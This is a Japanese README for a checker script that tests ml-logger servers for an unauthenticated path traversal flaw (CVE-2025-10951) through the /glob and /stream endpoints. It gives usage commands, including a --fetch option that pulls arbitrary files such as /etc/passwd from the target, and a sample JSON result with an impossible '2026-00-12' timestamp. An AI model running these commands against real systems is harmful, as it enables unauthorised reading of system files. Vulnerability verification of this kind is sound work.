CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 の存在確認チェッカー —
geyang/ml-logger(≤ 0.10.36)における
未認証のパストラバーサルで、ml_logger/server.py の
log_handler / stream_handler 関数に影響します。
テストを許可されたシステムに対してのみ使用してください。
| エンドポイント | メソッド | 目的 |
|---|
/glob | POST | サーバーがアプリの意図されたスコープ外のファイルシステムパスを列挙できることを確認します |
/stream | GET | 先頭のダブルスラッシュによるトラバーサル手法(//path/to/file)で任意のファイルを読み取れることを確認します |
デフォルトでは、実証ステップは /etc/hostname のみを読み取ります — これは事実上すべてのLinuxホストに存在する無害な1行であり、機密データではありません。
pip install requests
基本チェック:
python3 check_mllogger_traversal.py http://TARGET:PORT
結果をJSONに書き出す(診断の文書化・証拠用):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
選択した特定のファイルを取得する(脆弱性が確認された場合のみ実行):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
すべてまとめて実行する:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
| フラグ | 説明 |
|---|---|
target | ベースURL(例: http://192.xxx.x.xx:8081) |
--timeout | リクエストのタイムアウト(秒)(デフォルト: 8.0) |
--json FILE | 構造化された結果をJSONファイルに書き出す |
--fetch REMOTE_PATH | 指定した特定のリモートファイルを取得する |
--output LOCAL_PATH | --fetch の出力先ローカルファイル名(デフォルト: リモートパスのベース名) |
0 — 脆弱性が確認された(完全に、または可能性が高い)1 — 脆弱性が確認されなかった / ターゲットに到達できない{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch は脆弱性チェックが成功した後にのみ実行されます — 未確認のターゲットに対して
取得を試みることはありません。